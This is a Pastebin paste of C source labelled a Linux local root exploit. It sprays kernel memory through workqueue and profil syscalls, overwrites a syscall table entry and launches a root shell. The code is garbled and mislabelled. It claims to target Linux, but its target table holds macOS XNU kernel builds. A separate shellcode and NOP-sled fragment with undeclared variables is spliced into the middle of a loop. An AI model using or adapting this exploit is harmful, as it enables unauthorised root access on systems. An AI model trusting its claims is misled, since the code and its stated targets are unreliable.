blogfakessh

2.6.18-408

Feb 24th, 2015
377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.72 KB | None | 0 0
  1. /* Linux Local Root Exploit for >=2.6.18-408.el5 & gnuX 2.3
  2.  * vulnerability & exploit coded by Agd_Scorp
  3.  * cyg2 will not work when mounting data on fdisk...
  4.  * Allahu Akbar!
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9.  
  10. #include <fcntl.h>
  11. #include <string.h>
  12. #include <sys/syscall.h>
  13. #include <sys/utsname.h>
  14. #include <unistd.h>
  15.  
  16. /* profil defines     */
  17. #define PROFIL_ITEM_SIZE      64
  18. #define PROFIL_BLK_SIZE       65536
  19. #define PROFIL_BLK_NUM        84
  20.  
  21. /* workq defines      */
  22. #define WQOPS_QUEUE_ADD       1
  23. #define WORKQUEUE_PRIOS_MIN   -2
  24. #define WORKQUEUE_PRIOS_MAX   2
  25.  
  26. /* overwrite defines  */
  27. #define WL_LIST_BASE          0x05600000
  28. #define WL_LIST_ACCESS        0x09000060
  29.  
  30. #define WILIST_PTR            0x10000044
  31. #define WIITEM_PTR            0x18000044
  32.  
  33. struct workq_item {
  34.   void *_pad[2];
  35.   void *func;
  36.   void *__pad[2];
  37. };
  38.  
  39. struct workq_ops_args {
  40.   int options;
  41.   void *item;
  42.   int prio;
  43. };
  44.  
  45. static struct targets {
  46.   const char *name;
  47.   int auth_addr;   /* kauth_cred_get            */
  48.   int sys_addr;    /* sysent, &__mac_getfsstat  */
  49. } targets_t[] = {
  50.   { "root:xnu-1228~1/RELEASE_I386", 0x0035F492, 0x00503F90 + 4 },
  51.   { "root:xnu-1228.0.2~1/RELEASE_I386", 0x0035F429, 0x00504F90 + 4 },
  52.   { "root:xnu-1228.3.13~1/RELEASE_I386", 0x0036094C, 0x00506F90 + 4 },
  53.   { NULL, 0, 0 },
  54. };
  55.  
  56. void
  57. _dummy (void)
  58. {
  59.   while (1);
  60. }
  61.  
  62. int
  63. main (int argc, char **argv)
  64. {
  65.   struct workq_ops_args req;
  66.   struct workq_item workq;
  67.   struct utsname p_uname;
  68.   int auth_addr, sys_addr;
  69.   char buf[1024], *ptr;
  70.   int id, i, n;
  71.  
  72.   printf ("Linux Local Root Exploit for >=3.2.x & 3.1.x\n"
  73.           "by: Agd_Scorp\n"
  74.           "!\n\n");
  75.  
  76.   auth_addr = 0;
  77.   sys_addr = 0;
  78.   uname (&p_uname);
  79.  
  80.   ptr = strrchr (p_uname.version, ' ') + 1;
  81.   for (i = 0; targets_t[i].name; i++)
  82.     if (strcmp (targets_t[i].name, ptr) == 0)
  83.       {
  84.         auth_addr = targets_t[i].auth_addr;
  85.         sys_addr = targets_t[i].sys_addr;
  86.         break;
  87.       }
  88.  
  89.   if (targets_t[i].name == NULL)
  90.     {
  91.       fprintf (stderr, "%s: unsupported xorg found :( [%s]\n",
  92.                argv[0], ptr);
  93.       exit (EXIT_FAILURE);
  94.     }
  95.  
  96.   printf ("* opening work queue, pid: %d...", getpid ());
  97.   if ((n = syscall (SYS_workq_open, NULL)) < 0)
  98.     {
  99.       fprintf (stderr, "\n%s: syscall [SYS_workq_open]: failed: %d\n",
  100.                argv[0], n);
  101.       exit (EXIT_FAILURE);
  102.     }
  103.   printf ("done\n\n");
  104.  
  105.   printf ("* beginning spraying...\n");
  106.   printf ("** opening profil, pid: %d...", getpid ());
  107.   if ((n = syscall (SYS_profil, buf, sizeof buf, 0, 1)) < 0)
  108.     {
  109.       fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n",
  110.                argv[0], n);
  111.       exit (EXIT_FAILURE);
  112.     }
  113.   printf ("done\n");
  114.  
  115.   printf ("* filling %d-bytes of kernel memory...\n", PROFIL_BLK_NUM * PROFIL_BLK_SIZE * PROFIL_ITEM_SIZE);
  116.  
  117.   printf ("** filling workitemlist pointers...\n");
  118.   fflush (stdout);
  119.  
  120.   for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
  121.     {
  122.       void *arg1, *arg2, *arg3;
  123.  
  124.       arg1 = (void *) ((((long) WILIST_PTR) << 32) | WILIST_PTR);
  125.       arg2 = (void *) 0xE4E5E6E7E0E1E2E3;
  126.       arg3 = (void *) 0xF4F5F6F7F0F1F2F3;
  127.  
  128.       n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
  129.       if (n < 0)
  130.         {
  131.           fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
  132.                    argv[0], n);
  133.           exit (EXIT_FAILURE);
  134.         }
  135.  
  136.       if (!(i % 32))
  137.         printf ("** %d-bytes filled\r",  i * 64);
  138.     }
  139.   printf ("\n** done\n\n");
  140.  
  141.   printf ("** filling %d workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
  142.   fflush (stdout);
  143.  
  144.   for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
  145.     {
  146.       void *arg1, *arg2, *arg3;
  147.  
  148.             /*                   0X4(edx)              (edx)  */
  149.             /*                     eax                  ecx   */
  150.       arg1 = (void *) ((((long) sys_addr) << 32) | WIITEM_PTR);
  151.       arg2 = (void *) 0xDEADBE03DEADBE02;
  152.       arg3 = (void *) 0xDEADBE05DEADBE04;
  153.  
  154.       n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
  155.       if (n < 0)
  156.         {
  157.           fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
  158.                    argv[0], n);
  159.           exit (EXIT_FAILURE);
  160.         }
  161.  
  162.       if (!(i % 32))
  163.         printf ("** %d-bytes filled\r",  i * 64);
  164.     }
  165.   printf ("\n** done\n\n");
  166.  
  167.   printf ("** filling %d next workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
  168.   fflush (stdout);
  169.  
  170.   for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
  171.     {
  172.       void *arg1, *arg2, *arg3;
  173.  
  174.       arg1 = (void *) 0x0000000004EB9090;
  175.       arg2 = (void *) ((((long) auth_addr) << 32) | 0xB8E58955);
  176.       arg3 = (void *) 0xC9105089D231D0FF;
  177.  
  178.       n = syscall (SYS_add_profil, arg1, arg2, arg3, 0xCCC3);
  179.       if (n < 0)
  180.         {
  181.           fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
  182.                    argv[0], n);
  183.           exit (EXIT_FAILURE);
  184.         }
  185.  
  186.       if (!(i % 32))
  187.         printf ("** %d-bytes filled\r",  i * 64);
  188.  
  189.  
  190.   egg = (char *) malloc (strlen (shellcode) + NOPNUM + 5);
  191.   if (egg == NULL)
  192.   {
  193.     perror ("malloc()");
  194.     exit (-1);
  195.   }
  196.   sprintf (egg, "EGG=");
  197.   memset (egg + 4, 0x90, NOPNUM);
  198.   sprintf (egg + 4 + NOPNUM, "%s", shellcode);
  199.  
  200.   offs = atoi (argv[1]);
  201.  
  202.   ret = get_esp () + offs;
  203.  
  204.   sprintf (s, "-d");
  205.   first = -vect - (0xffffffff - got + 1);
  206.   last = first;
  207.   while (ret)
  208.   {
  209.     i = ret & 0xff;
  210.     sprintf (tmp, "%u-%u.%u-", first, last, i);
  211.     strcat (s, tmp);
  212.     last = ++first;
  213.     ret = ret >> 8;
  214.   }
  215.   s[strlen (s) - 1] = '\0';
  216.  
  217.     }
  218.   printf ("\n** done\n* done\n\n");
  219.  
  220.   printf ("* adding dummy workq to lists...\n");
  221.   memset (&workq, 0, sizeof workq);
  222.   workq._pad[0] = buf;
  223.   workq._pad[1] = buf;
  224.   workq.func = &_dummy;
  225.   workq.__pad[0] = buf;
  226.   workq.__pad[1] = buf;
  227.  
  228.   for (i = WORKQUEUE_PRIOS_MIN; i <= WORKQUEUE_PRIOS_MAX; i++)
  229.     {
  230.       memset (&req, 0, sizeof req);
  231.       req.options = WQOPS_QUEUE_ADD;
  232.       req.item = &workq;
  233.       req.prio = i;
  234.  
  235.       printf ("** adding dummy worklist item: %d...", i);
  236.       if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0)
  237.         {
  238.           fprintf (stderr, "\n%s: syscall [SYS_workq_ops]: failed: %d\n",
  239.                    argv[0], n);
  240.           exit (EXIT_FAILURE);
  241.         }
  242.       printf ("done\n");
  243.     }
  244.   printf ("* done\n\n");
  245.   sleep (1);
  246.  
  247.   memset (&req, 0, sizeof req);
  248.   req.options = WQOPS_QUEUE_ADD;
  249.   req.item = (void *) 0xCAFEBABE;
  250.   req.prio = (WL_LIST_ACCESS - WL_LIST_BASE) / 16;
  251.  
  252.   printf ("* overwriting @0x%08X with 0x%08X\n", sys_addr, WIITEM_PTR);
  253.   printf ("** req.prio: 0x%08X, access @~0x%08X [with offset: 0x%08X]\n",
  254.           req.prio, WL_LIST_ACCESS, WL_LIST_BASE);
  255.   sleep (1);
  256.  
  257.   if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0)
  258.     {
  259.       fprintf (stderr, "%s: syscall [SYS_workq_ops]: failed: %d\n",
  260.                argv[0], n);
  261.       exit (EXIT_FAILURE);
  262.     }
  263.   printf ("* done\n\n");
  264.  
  265.   printf ("* jumping....");
  266.   sleep (1);
  267.  
  268.   if ((n = syscall (SYS___mac_getfsstat, 0, 0, 0, 0, 0)) == 0)
  269.     {
  270.       fprintf (stderr, "\n%s: syscall [SYS___mac_getfsstat]: failed: %d\n",
  271.                argv[0], n);
  272.       exit (EXIT_FAILURE);
  273.     }
  274.   printf ("done\n\n");
  275.  
  276.   id = getuid ();
  277.   printf ("* getuid(): %d\n", id);
  278.   if (id == 0)
  279.     {
  280.       printf ("+Wh00t Wh00t, r00t3d! ;-), enjoy your r00t.\n\n");
  281.  
  282.       /* exec shell, for some reason execve doesn't work!?$! */
  283.       system ("/bin/bash");
  284.     }
  285.   else
  286.     fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);
  287.    /*print "by hodlum/n"*/
  288.  
  289.   return (EXIT_SUCCESS);
  290. }
Advertisement
Add Comment
Please, Sign In to add comment